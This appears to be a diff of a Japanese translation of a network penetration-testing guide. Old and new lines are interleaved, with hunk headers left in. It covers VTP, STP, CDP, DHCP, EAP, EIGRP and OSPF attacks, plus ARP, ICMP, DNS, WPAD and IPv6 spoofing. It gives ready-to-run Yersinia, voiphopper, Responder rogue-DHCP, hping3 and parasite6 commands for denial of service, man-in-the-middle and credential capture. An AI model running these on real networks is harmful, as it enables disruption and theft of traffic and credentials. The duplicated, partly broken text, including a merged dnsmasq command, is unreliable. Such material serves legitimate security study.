VTPの脆弱性は、VTPアナウンスがトランクポートを通じてのみ循環するため、トランクポートを介してのみ悪用可能です。DTP攻撃後のシナリオはVTPに移行する可能性があります。Yersiniaのようなツールは、VLANデータベースを消去し、ネットワークを効果的に混乱させることを目的としたVTP攻撃を支援できます。
VTP の脆弱性は trunk ports を介してのみ悪用可能であり、VTP アナウンスは trunk を通してのみ流れます。DTP 攻撃のあとに VTP を狙うシナリオも考えられます。Yersinia のようなツールを使って VTP を攻撃し、VLAN データベースを消去してネットワークを破壊することが可能です。
注意: この議論はVTPバージョン1VTPv1に関するものです。
````bash
%% yersinia -G # Launch Yersinia in graphical mode ```
````
Yersiniaのグラフィカルモードでは、VLANデータベースを削除するためにすべてのVTP VLANを削除するオプションを選択します
Note: This discussion pertains to VTP version 1 (VTPv1).
```bash
yersinia -G # Launch Yersinia in graphical mode
```
Yersiniaのグラフィカルモードでは、VLANデータベースを消去するために、deleting all VTP vlans オプションを選択してください
### STP攻撃
### STP 攻撃
**インターフェースでBPDUフレームをキャプチャできない場合、STP攻撃成功する可能性は低いです。**
**もしインターフェースでBPDUフレームをキャプチャできない場合、STP攻撃成功する可能性は低いです。**
#### **STP BPDU DoS**
多くのBPDUs TCPトポロジ変更通知やConfトポロジが作成されるときに送信されるBPDUsを送信すると、スイッチが過負荷になり、正しく動作しなくなります。
大量のBPDUs、TCP (Topology Change Notification) または Conf (the BPDUs that are sent when the topology is created) を送信すると、スイッチが過負荷になり正常に動作しなくなります。
```bash
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
```
#### **STP TCP攻撃**
#### **STP TCP Attack**
TCPが送信されると、スイッチのCAMテーブルは15秒で削除されます。その後、この種のパケットを継続的に送信している場合、CAMテーブルは継続的にまたは15秒ごとに再起動され、再起動されるとスイッチはハブのように動作します。
TCPが送信されると、スイッチのCAM tableは15秒で消去されます。もしこの種のパケットを継続的に送信すると、CAM tableは継続的にまたは15秒ごとに再作成され、その再作成時にスイッチはハブのように振る舞います。
```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
```
#### **STPルート攻撃**
#### **STP Root Attack**
攻撃者はスイッチの動作を模倣してネットワークのSTPルートになります。これにより、より多くのデータが彼を通過します。これは、異なる2つのスイッチに接続されているときに興味深いです。\
これは、実際のルートスイッチの実際の優先度よりも**優先度**値が低いと伝えるBPDUs CONFパケットを送信することによって行われます。
攻撃者は switch の振る舞いをシミュレートしてネットワークの STP root になろうとします。すると、より多くのデータが攻撃者を経由するようになります。これは、2つの異なる switches に接続しているときに有用です。\
これは、実際の root switch の **priority** 値よりも小さいとする BPDUs CONF パケットを送信することで行われます。
```bash
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
```
**攻撃者が2つのスイッチに接続されている場合、彼は新しいツリーのルートとなり、これらのスイッチ間のすべてのトラフィックが彼を通過することになります**MITM攻撃が実行されます)。
**もし attacker が2台の switches に接続されている場合、彼は新しいツリーの root になり、両 switches 間のすべてのトラフィックが彼を経由します**MITM attack が実行されます)。
```bash
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
```
### CDP攻撃
### CDP 攻撃
CISCO Discovery Protocol (CDP)は、CISCOデバイス間の通信に不可欠であり、デバイスが**互いを識別し、設定詳細を共有する**ことを可能にします。
CISCO Discovery Protocol (CDP) は CISCO デバイス同士の通信に不可欠で、互いに**識別し、設定情報を共有する**ことを可能にします。
#### パッシブデータ収集 <a href="#id-0e0f" id="id-0e0f"></a>
#### 受動的データ収集 <a href="#id-0e0f" id="id-0e0f"></a>
CDPはすべてのポートを通じて情報をブロードキャストするように設定されており、これがセキュリティリスクにつながる可能性があります。攻撃者はスイッチポートに接続すると、**Wireshark**、**tcpdump**、または**Yersinia**のようなネットワークスニファーを展開することができます。この行動は、ネットワークデバイスに関する機密データ、例えばそのモデルや実行中のCisco IOSのバージョンを明らかにする可能性があります。攻撃者は、特定のCisco IOSバージョンにおける脆弱性をターゲットにするかもしれません
CDP はすべてのポートを通じて情報をブロードキャストするように設定されており、これがセキュリティリスクにつながる可能性があります。攻撃者がスイッチポートに接続すると、**Wireshark**, **tcpdump**, **Yersinia** のようなネットワークスニッファを展開して、ネットワーク機器のモデルや稼働している Cisco IOS のバージョンなどの機密情報を明らかにすることができます。攻撃者は特定された Cisco IOS バージョンの脆弱性を狙う可能性があります
#### CDPテーブルフラッディング誘発 <a href="#id-0d6a" id="id-0d6a"></a>
#### CDP テーブルフラッディング誘発 <a href="#id-0d6a" id="id-0d6a"></a>
より攻撃的なアプローチは、正当なCISCOデバイスを装ってスイッチのメモリを圧倒することによってサービス拒否DoS攻撃を開始することです。以下は、テスト用に設計されたネットワークツールYersiniaを使用してそのような攻撃を開始するためのコマンドシーケンスです:
より攻撃的な手法は、正当な CISCO デバイスになりすましてスイッチのメモリを圧倒し、Denial of Service (DoS) 攻撃を開始することです。以下は、テスト用ネットワークツールである Yersinia を使用してそのような攻撃を開始するためのコマンド列です:
```bash
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
```
この攻撃中、スイッチのCPUとCDP隣接テーブルは大きな負担を受け、過剰なリソース消費によりしばしば**「ネットワーク麻痺」**と呼ばれる状態になります。
この攻撃では、switch's CPU と CDP neighbor table に大きな負荷がかかり、過剰なリソース消費によりしばしば **「ネットワーク麻痺」** と呼ばれる状態を引き起こします。
#### CDPなりすまし攻撃
#### CDP Impersonation Attack
```bash
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
```
[**scapy**](https://github.com/secdev/scapy/)を使用することもできます。`scapy/contrib`パッケージをインストールすることを忘れないでください。
You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package.
### VoIP攻撃とVoIP Hopperツール
VoIP電話は、IoTデバイスとますます統合されており、特別な電話番号を通じてドアの解錠やサーモスタットの制御などの機能を提供します。しかし、この統合はセキュリティリスクをもたらす可能性があります。
VoIP電話は、IoTデバイスとますます統合されており、特定の電話番号を通じてドアの解錠やサーモスタットの制御などの機能を提供します。しかし、この統合はセキュリティ上のリスクを引き起こす可能性があります。
ツール[**voiphopper**](http://voiphopper.sourceforge.net)は、さまざまな環境Cisco、Avaya、Nortel、Alcatel-LucentでVoIP電話をエミュレートするよう設計されています。CDP、DHCP、LLDP-MED、802.1Q ARPなどのプロトコルを使用して、音声ネットワークのVLAN IDを発見します。
ツール [**voiphopper**](http://voiphopper.sourceforge.net) は、さまざまな環境Cisco、Avaya、Nortel、Alcatel-LucentでVoIP電話をエミュレートするよう設計されています。CDP、DHCP、LLDP-MED、802.1Q ARPなどのプロトコルを使用して、音声ネットワークのVLAN IDを検出します。
**VoIP Hopper**は、Cisco Discovery ProtocolCDP用に3つのモードを提供します
**VoIP Hopper** はCisco Discovery Protocol (CDP) に対して3つのモードを提供します:
1. **スニフモード**`-c 0`):ネットワークパケットを分析してVLAN IDを特定します。
2. **スプーフモード**`-c 1`実際のVoIPデバイスのパケットを模倣したカスタムパケットを生成します。
3. **事前作成パケットモード**`-c 2`特定のCisco IP電話モデルのパケットと同一のパケットを送信します。
1. **Sniff Mode** (`-c 0`): ネットワークパケットを解析してVLAN IDを特定します。
2. **Spoof Mode** (`-c 1`): 実際のVoIPデバイスのパケットを模倣したカスタムパケットを生成します。
3. **Spoof with Pre-made Packet Mode** (`-c 2`): 特定のCisco IP電話モデルと同一のパケットを送信します。
速度のために推奨されるモードは3番目です。次のことを指定する必要があります:
速度を重視する場合、3番目のモードが推奨されます。これには次の指定が必要です:
- 攻撃者のネットワークインターフェース(`-i`パラメータ)。
- エミュレートされるVoIPデバイスの名前`-E`パラメータ、Ciscoの命名形式SEPの後にMACアドレスに従います
- エミュレートするVoIPデバイスの名前`-E`パラメータ。Ciscoの命名フォーマットに従う必要がありますSEPにMACアドレスを続けた形式
企業環境では、既存のVoIPデバイスを模倣するために、次のことを行うことがあります:
企業環境では、既存のVoIPデバイスを模倣するには、次のような方法があります:
- 電話のMACラベルを確認する。
- 電話のディスプレイ設定をナビゲートしてモデル情報を表示する。
- VoIPデバイスをラップトップに接続し、Wiresharkを使用してCDPリクエストを観察する。
- 電話のディスプレイ設定を確認してモデル情報を見る。
- VoIPデバイスをラップトップに接続し、WiresharkCDPリクエストを観察する。
ツールを3番目のモードで実行するためのコマンドの例は次のとおりです:
3番目のモードでツールを実行するためのコマンドは次のとおりです:
```bash
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
```
### DHCP攻撃
### DHCP Attacks
#### 列挙
#### Enumeration
```bash
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
@ -491,59 +494,61 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
```
**DoS**
**DoSの2種類**は、DHCPサーバーに対して実行できます。最初のものは、**すべての可能なIPアドレスを使用するために十分な偽のホストをシミュレートする**ことです。\
この攻撃は、DHCPサーバーの応答を確認し、プロトコルを完了できる場合にのみ機能します**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server))。例えば、これは**Wifiネットワークでは不可能です**。
**Two types of DoS** は DHCP servers に対して実行できます。
The first one consists on **すべての可能な IP アドレスを使い切るのに十分な偽ホストをシミュレートする**.\
DHCP DoSを実行する別の方法は、**すべての可能なIPをソースコードとして使用してDHCP-RELEASEパケットを送信する**ことです。そうすると、サーバーは誰もIPの使用を終えたと考えます。
この攻撃は DHCP server の応答を監視してプロトコル(**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server))を完了できる場合にのみ有効です。例えば、これは **Wifi networks では不可能です**
Another way to perform a DHCP DoS is to send a **DHCP-RELEASE パケットを送信元にあらゆる可能な IP を使って送信する**。Then, the server will think that everybody has finished using the IP.
```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
```
より自動化された方法、ツール [DHCPing](https://github.com/kamorin/DHCPig) を使用することです。
より自動化された方法として、ツール [DHCPing](https://github.com/kamorin/DHCPig) を使用できます。
前述のDoS攻撃を使用して、クライアントが環境内で新しいリースを取得するよう強制し、正当なサーバーを枯渇させて応答しなくすることができます。正当なサーバーが再接続しようとするときに、**次の攻撃で言及されている悪意のある値を提供できます**。
前述の DoS 攻撃を使って、環境内のクライアントに新しいリースを取得させたり、正規のサーバーを枯渇させて応答不能にすることができます。したがって、正規のクライアントが再接続を試みるとき、**次の攻撃で述べる悪意のある値を提供できます**。
#### 悪意のある値を設定する
#### 悪意のある値を設定
不正なDHCPサーバーは、`/usr/share/responder/DHCP.py`にあるDHCPスクリプトを使用して設定できます。これは、トラフィックを悪意のあるサーバーにリダイレクトすることによって、HTTPトラフィックや認証情報をキャプチャするためのネットワーク攻撃に役立ちます。ただし、不正なゲートウェイを設定することは、クライアントからのアウトバウンドトラフィックのみをキャプチャするため、実際のゲートウェイからの応答を見逃すため、効果が薄いです。代わりに、不正なDNSまたはWPADサーバーを設定することが推奨されます。
不正な DHCP サーバーは、`/usr/share/responder/DHCP.py` にある DHCP スクリプトを使って構築できます。これは、トラフィックを悪意のあるサーバーにリダイレクトして HTTP トラフィックや認証情報をキャプチャするなどのネットワーク攻撃に有用です。ただし、不正なゲートウェイを設定するのは効果が薄く、クライアントからの発信トラフィックしかキャプチャできず、実際のゲートウェイからの応答を見逃すことになります。より効果的な攻撃には、不正な DNS や WPAD サーバーの設定を推奨します。
以下は、不正なDHCPサーバーを構成するためのコマンドオプションです
以下は不正な DHCP サーバーを設定するためのコマンドオプションです:
- **私たちのIPアドレスゲートウェイ広告**: `-i 10.0.0.100`を使用して、あなたのマシンのIPをゲートウェイとして広告します。
- **ローカルDNSドメイン名**: オプションで、`-d example.org`を使用してローカルDNSドメイン名を設定します。
- **元のルーター/ゲートウェイIP**: `-r 10.0.0.1`を使用して、正当なルーターまたはゲートウェイのIPアドレスを指定します。
- **プライマリDNSサーバーIP**: `-p 10.0.0.100`を使用して、あなたが制御する不正なDNSサーバーのIPアドレスを設定します。
- **セカンダリDNSサーバーIP**: オプションで、`-s 10.0.0.1`を使用してセカンダリDNSサーバーのIPを設定します。
- **ローカルネットワークのネットマスク**: `-n 255.255.255.0`を使用してローカルネットワークのネットマスクを定義します。
- **DHCPトラフィック用インターフェース**: `-I eth1`を使用して、特定のネットワークインターフェースでDHCPトラフィックをリッスンします。
- **WPAD構成アドレス**: `-w “http://10.0.0.100/wpad.dat”`を使用して、ウェブトラフィックの傍受を支援するWPAD構成のアドレスを設定します。
- **デフォルトゲートウェイIPを偽装**: `-S`を含めて、デフォルトゲートウェイのIPアドレスを偽装します。
- **すべてのDHCPリクエストに応答**: `-R`を含めてサーバーがすべてのDHCPリクエストに応答するようにしますが、これはジーで検出される可能性があることに注意してください。
- **自分のIPアドレスゲートウェイとして広告**: `-i 10.0.0.100` を使用して、マシンの IP をゲートウェイとして広告します。
- **ローカル DNS ドメイン名**: 必要に応じて `-d example.org` を使用してローカル DNS ドメイン名を設定します。
- **元のルーター/ゲートウェイの IP**: `-r 10.0.0.1` を使用して、正規のルーターまたはゲートウェイの IP アドレスを指定します。
- **プライマリ DNS サーバーIP**: `-p 10.0.0.100` を使用して、制御する不正な DNS サーバーの IP アドレスを設定します。
- **セカンダリ DNS サーバーの IP**: 必要に応じて `-s 10.0.0.1` を使用してセカンダリ DNS サーバーの IP を設定します。
- **ローカルネットワークのネットマスク**: `-n 255.255.255.0` を使用してローカルネットワークのネットマスクを定義します。
- **DHCP トラフィックを監視するインターフェース**: `-I eth1` を使用して特定のネットワークインターフェースで DHCP トラフィックをリッスンします。
- **WPAD 設定アドレス**: `-w “http://10.0.0.100/wpad.dat”` を使用して WPAD 設定のアドレスを設定し、Web トラフィックの傍受を支援します。
- **デフォルトゲートウェイの IP を偽装**: `-S` を含めてデフォルトゲートウェイの IP を偽装します。
- **すべての DHCP リクエストに応答**: `-R` を含めてサーバーがすべての DHCP リクエストに応答するようにしますが、これはノイズが大きく検出されやすい点に注意してください。
これらのオプションを正しく使用することで、不正なDHCPサーバーを効果的に設定し、ネットワークトラフィックを傍受することができます。
これらのオプションを正しく使用することで、不正な DHCP サーバーを構築してネットワークトラフィックを効果的に傍受できます。
```python
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
```
### **EAP攻撃**
### **EAP 攻撃**
802.1X実装に対して使用できる攻撃戦術のいくつかは次のとおりです:
ここでは 802.1X 実装に対して使われる攻撃手法のいくつかを示します:
- EAPを介したアクティブなブルートフォースパスワードグラインディング
- 形式が不正なEAPコンテンツを使用してRADIUSサーバーを攻撃する _\*\*_(エクスプロイト)
- EAPメッセージのキャプチャとオフラインパスワードクラッキングEAP-MD5およびPEAP
- TLS証明書検証をバイパスするためにEAP-MD5認証を強制する
- ハブや類似のものを使用して認証時に悪意のあるネットワークトラフィックを注入する
- EAP を介した Active brute-force password grinding
- malformed EAP content を使った RADIUS server への攻撃 _\*\*_(exploits)
- EAP メッセージの capture と offline password cracking (EAP-MD5 と PEAP)
- TLS certificate validation を bypass するために EAP-MD5 認証へ強制する
- hub 等を使用して認証時に malicious network traffic を注入する
攻撃者が被害者と認証サーバーの間にいる場合、必要に応じて認証プロトコルをEAP-MD5にダウングレードし、認証試行をキャプチャしようとすることができます。その後、次の方法でブルートフォース攻撃を行うことができます
攻撃者が被害者と認証サーバの間にいる場合、認証プロトコルを必要に応じてEAP-MD5 にダウングレードさせて認証試行を capture することができます。次に、これを brute-force することができます:
```
eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt
```
### FHRP (GLBP & HSRP) Attacks <a href="#id-6196" id="id-6196"></a>
### FHRP (GLBP & HSRP) 攻撃 <a href="#id-6196" id="id-6196"></a>
**FHRP** (First Hop Redundancy Protocol) は、**ホット冗長ルーティングシステムを作成するために設計されたネットワークプロトコルのクラス**です。FHRPを使用すると、物理ルーターを単一の論理デバイスに統合でき、耐障害性が向上し、負荷の分散が助けられます。
**FHRP** (First Hop Redundancy Protocol) は、ホット冗長ルーティングシステムを構築するために設計されたネットワークプロトコルのクラスです。FHRP を使うと、物理的なルータを単一の論理デバイスとしてまとめられ、フォルトトレランスが向上し、負荷分散が可能になります。
**Cisco Systemsのエンジニアは、GLBPとHSRPの2つのFHRPプロトコルを開発しました。**
**Cisco Systems のエンジニアは、GLBP と HSRP の二つの FHRP プロトコルを開発しました。**
{{#ref}}
@ -552,55 +557,55 @@ glbp-and-hsrp-attacks.md
### RIP
ルーティング情報プロトコルRIPの3つのバージョンが存在しますRIP、RIPv2、およびRIPng。RIPとRIPv2はポート520を介してUDPでピアにデータグラムを送信しますが、RIPngはIPv6マルチキャストを介してUDPポート521にデータグラムをブロードキャストします。MD5認証のサポートはRIPv2によって導入されました。一方、RIPngにはネイティブ認証が組み込まれておらず、代わりにIPv6内のオプションのIPsec AHおよびESPヘッダーに依存しています。
RIP、RIPv2、RIPng の3つのバージョンが存在します。RIP と RIPv2 は UDP のポート 520 を使ってピアにデータグラムを送信し、RIPng は IPv6 マルチキャストで UDP ポート 521 にデータグラムをブロードキャストします。RIPv2 は MD5 認証をサポートしています。一方、RIPng はネイティブな認証を含まず、代わりに IPv6 内でのオプションの IPsec AH と ESP ヘッダに依存します。
- **RIPとRIPv2:** 通信はポート520のUDPデータグラムを介して行われます。
- **RIPng:** IPv6マルチキャストを介してデータグラムをブロードキャストするためにUDPポート521を利用します。
- **RIP and RIPv2:** Communication is done through UDP datagrams on port 520.
- **RIPng:** Utilizes UDP port 521 for broadcasting datagrams via IPv6 multicast.
RIPv2はMD5認証をサポートしていますが、RIPngはネイティブ認証を含まず、IPv6内のIPsec AHおよびESPヘッダーに依存しています。
RIPv2 が MD5 認証をサポートしている点に注意してください。RIPng はネイティブな認証を含まず、IPv6 の IPsec AH と ESP ヘッダに依存します。
### EIGRP Attacks
### EIGRP 攻撃
**EIGRP (Enhanced Interior Gateway Routing Protocol)** は動的ルーティングプロトコルです。**距離ベクトルプロトコルです。** **認証**がなく、受動インターフェースの設定がない場合、**侵入者**がEIGRPルーティングに干渉し、**ルーティングテーブルの中毒**を引き起こす可能性があります。さらに、EIGRPネットワーク言い換えれば、自律システムは**フラットで、ゾーンに分割されていません**。**攻撃者がルートを注入**すると、そのルートは自律EIGRPシステム全体に**広がる**可能性があります。
**EIGRP (Enhanced Interior Gateway Routing Protocol)** は動的ルーティングプロトコルで、距離ベクトルプロトコルです。認証や passive interfaces の設定がなければ、侵入者は EIGRP のルーティングに干渉してルーティングテーブルの汚染を引き起こす可能性があります。さらに、EIGRP ネットワーク(つまり autonomous systemはフラットで、ゾーンによる分割がありません。攻撃者がルートを注入すると、そのルートは EIGRP の自律システム全体に拡散する可能性が高いです。
EIGRPシステムを攻撃するには、**正当なEIGRPルーターとの隣接関係を確立する**必要があり、これにより基本的な偵察からさまざまな注入まで多くの可能性が開かれます。
EIGRP システムを攻撃するには、正規の EIGRP router と隣接関係を確立する必要があり、これにより基本的な偵察から様々な注入攻撃まで多くの可能性が開かれます。
[**FRRouting**](https://frrouting.org/)を使用すると、**BGP、OSPF、EIGRP、RIPおよびその他のプロトコルをサポートする仮想ルーターを実装できます。** これを攻撃者のシステムに展開するだけで、実際にルーティングドメイン内の正当なルーターのふりをすることができます。
[**FRRouting**](https://frrouting.org/) は BGP、OSPF、EIGRP、RIP 等をサポートする仮想ルータを実装できます。攻撃者のシステムにデプロイするだけで、ルーティングドメイン内で正規のルータを装うことが可能になります。
{{#ref}}
eigrp-attacks.md
{{#endref}}
[**Coly**](https://code.google.com/p/coly/)は、EIGRPEnhanced Interior Gateway Routing Protocolブロードキャストを傍受する機能を持っています。また、パケットの注入を可能にし、ルーティング構成を変更するために利用できます。
[**Coly**](https://code.google.com/p/coly/) は EIGRP (Enhanced Interior Gateway Routing Protocol) ブロードキャストを傍受する機能を持ち、パケットの注入も可能で、ルーティング設定の変更に利用できます。
### OSPF
Open Shortest Path First (OSPF) プロトコルでは、**ルーター間の安全な通信を確保するためにMD5認証が一般的に使用されます**。しかし、このセキュリティ対策は、LokiやJohn the Ripperのようなツールを使用して侵害される可能性があります。これらのツールはMD5ハッシュをキャプチャして解読することができ、認証キーを暴露します。このキーが取得されると、新しいルーティング情報を導入するために使用できます。ルートパラメータを設定し、侵害されたキーを確立するために、_Injection_タブと_Connection_タブがそれぞれ利用されます。
Open Shortest Path First (OSPF) プロトコルでは、MD5 認証がルータ間の安全な通信を確保するために一般的に使用されます。しかし、この対策は Loki や John the Ripper のようなツールを使って破られる可能性があります。これらのツールは MD5 ハッシュをキャプチャしてクラッキングし、認証キーを暴露できます。そのキーを入手すれば、新しいルーティング情報の導入に使用できます。ルートパラメータの設定と侵害されたキーの設定には、それぞれ _Injection_ タブと _Connection_ タブが使用されます。
- **MD5ハッシュのキャプチャと解読:** LokiやJohn the Ripperのようなツールがこの目的で使用されます。
- **ルートパラメータの設定:** これは_Injection_タブを介して行われます。
- **侵害されたキーの設定:** キーは_Connection_タブで設定されます。
- **MD5 ハッシュのキャプチャとクラッキング:** Loki や John the Ripper などのツールが使用されます。
- **ルートパラメータの設定:** これは _Injection_ タブで行われます。
- **侵害されたキーの設定:** キーは _Connection_ タブで設定します。
### Other Generic Tools & Sources
- [**Above**](https://github.com/c4s73r/Above): ネットワークトラフィックをスキャンし脆弱性を見つけるツール
- **ネットワーク攻撃に関する** [**詳細情報**](https://github.com/Sab0tag3d/MITM-cheatsheet)を見つけることができます。
- [**Above**](https://github.com/c4s73r/Above): ネットワークトラフィックをスキャンし脆弱性を見つけるツール
- ネットワーク攻撃に関する**より詳しい情報**は[**here**](https://github.com/Sab0tag3d/MITM-cheatsheet)で見つけられます。
## **Spoofing**
攻撃者は、偽のDHCP応答を送信してネットワークの新しいメンバーのすべてのネットワークパラメータGW、IP、DNSを設定します。
攻撃者は偽の DHCP レスポンスを送信して、ネットワークの新しいメンバーのすべてのネットワークパラメータGW、IP、DNSを設定します。
```bash
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
```
### ARP Spoofing
前のセクションを確認してください [previous section](#arp-spoofing).
前のセクションを参照してください: [previous section](#arp-spoofing).
### ICMPRedirect
ICMP Redirectは、攻撃者がIPに到達する最良の方法であることを示すICMPパケットタイプ1コード5を送信することから成ります。次に、被害者がそのIPに連絡を取りたいとき、攻撃者を通じてパケットを送信します。
ICMP Redirectは、ICMP packet type 1 code 5 を送信して、attackerがそのIPへ到達する最良の経路であることを示します。次に、victimがそのIPに接続しようとすると、packetはattacker経由で送られます。
```bash
Ettercap
icmp_redirect
@ -608,18 +613,18 @@ hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw
```
### DNS Spoofing
攻撃者は、被害者が要求するいくつか(またはすべて)のドメインを解決します。
攻撃者は被害者が要求するドメインの一部(またはすべて)を解決します。
```bash
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
```
**dnsmasqを使用して独自のDNSを構成する**
**dnsmasqで独自のDNSを設定する**
```bash
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
```
### ローカルゲートウェイ
システムやネットワークへの複数のルートが存在することがよくあります。ローカルネットワーク内のMACアドレスのリストを作成したら、_gateway-finder.py_を使用してIPv4フォワーディングをサポートするホストを特定します
システムやネットワークへの複数の経路が存在することがよくあります。ローカルネットワーク内のMACアドレスの一覧を作成したら、_gateway-finder.py_を使用してIPv4転送をサポートするホストを特定してください
```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
@ -637,58 +642,60 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
```
### [LLMNR、NBT-NS、およびmDNSのスプーフィング](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
DNSルックアップが失敗した場合のローカルホスト解決のために、Microsoftシステムは**Link-Local Multicast Name Resolution (LLMNR)**および**NetBIOS Name Service (NBT-NS)**に依存しています。同様に、**Apple Bonjour**および**Linuxゼロコンフィギュレーション**の実装は、ネットワーク内のシステムを発見するために**Multicast DNS (mDNS)**を利用します。これらのプロトコルは認証されておらず、UDP上でメッセージをブロードキャストするため、攻撃者によって悪意のあるサービスにユーザーをリダイレクトするために悪用される可能性があります。
DNSルックアップが失敗した場合のローカルホスト解決に、Microsoftシステムは**Link-Local Multicast Name Resolution (LLMNR)****NetBIOS Name Service (NBT-NS)** に依存します。同様に、**Apple Bonjour** や **Linux zero-configuration** 実装は、ネットワーク内のシステムを発見するために **Multicast DNS (mDNS)** を利用します。これらのプロトコルは認証されておらず、UDP上でブロードキャスト/マルチキャストによって動作するため、攻撃者がユーザーを悪意あるサービスへリダイレクトする目的で悪用される可能性があります。
Responderを使用して、ホストによって検索されるサービスを偽装し、偽の応答を送信することができます。\
Responderを使用してサービスを偽装する方法についての詳細は[こちらをお読みください](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Responderを使用して、ホストが検索するサービスになりすまし、偽の応答を送信できます。\
Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [WPADのスプーフィング](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
ブラウザは一般的に**Web Proxy Auto-Discovery (WPAD)プロトコルを使用して自動的にプロキシ設定を取得します**。これは、特に「http://wpad.example.org/wpad.dat」のようなURLを介してサーバーから構成詳細を取得することを含みます。このサーバーの発見は、クライアントによってさまざまなメカニズムを通じて行われる可能性があります:
ブラウザは一般的に、**Web Proxy Auto-Discovery (WPAD) protocol to automatically acquire proxy settings** を利用します。これはサーバーから設定情報を取得することで、具体的には "http://wpad.example.org/wpad.dat" のようなURLから取得します。クライアントがこのサーバーを発見する方法はいくつかあります:
- **DHCP**を介して、特別なコード252エントリを利用して発見が促進されます。
- **DNS**によって、ローカルドメイン内で_wpad_というラベルの付けられたホスト名を検索します。
- **Microsoft LLMNRおよびNBT-NS**を介して、DNSルックアップが成功しない場合に使用されるフォールバックメカニズムです。
- Through **DHCP**, where the discovery is facilitated by utilizing a special code 252 entry.
- By **DNS**, which involves searching for a hostname labeled _wpad_ within the local domain.
- Via **Microsoft LLMNR and NBT-NS**, which are fallback mechanisms used in cases where DNS lookups do not succeed.
ツールResponderは、このプロトコルを利用して**悪意のあるWPADサーバー**として機能します。DHCP、DNS、LLMNR、およびNBT-NSを使用して、クライアントを誤って接続させるように誘導します。Responderを使用してサービスを偽装する方法についてさらに詳しくは[こちらを確認してください](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
ツール Responder はこのプロトコルを悪用し、**malicious WPAD server** として振る舞います。DHCP、DNS、LLMNR、NBT-NS を用いてクライアントを誤誘導し、自身に接続させます。Responderを使ったサービスのなりすまし方法の詳細は[check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
### [SSDPおよびUPnPデバイスのスプーフィング](spoofing-ssdp-and-upnp-devices.md)
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
ネットワーク内で異なるサービスを提供して、**ユーザーを騙してプレーンテキストの認証情報を入力させる**ことができます。**この攻撃に関する詳細は** [**SSDPおよびUPnPデバイスのスプーフィング**](spoofing-ssdp-and-upnp-devices.md)**でご覧ください。**
ネットワーク上で様々なサービスを提供して、**ユーザーをだます** ことで **平文の認証情報** を入力させようとすることができます。**この攻撃の詳細は** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
### IPv6隣接スプーフィング
### IPv6 Neighbor Spoofing
この攻撃はARPスプーフィングに非常に似ていますが、IPv6の世界で行われます。被害者は、GWのIPv6が攻撃者のMACを持っていると考えるようになります。
この攻撃はIPv6環境におけるARP Spoofingと非常によく似ています。被害者に、GWのIPv6アドレスが攻撃者のMACアドレスに紐づいていると誤認させることができます。
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
```
### IPv6ルーター広告のスプーフィング/フラッディング
### IPv6 Router Advertisement Spoofing/Flooding
一部のOSは、ネットワーク内で送信されたRAパケットからデフォルトでゲートウェイを設定します。攻撃者をIPv6ルータとして宣言するには、次のコマンドを使用できます:
一部のOSは、ネットワーク上で送信されるRAパケットからデフォルトでゲートウェイを設定します。攻撃者をIPv6ルータとして宣言するには、次を使用できます:
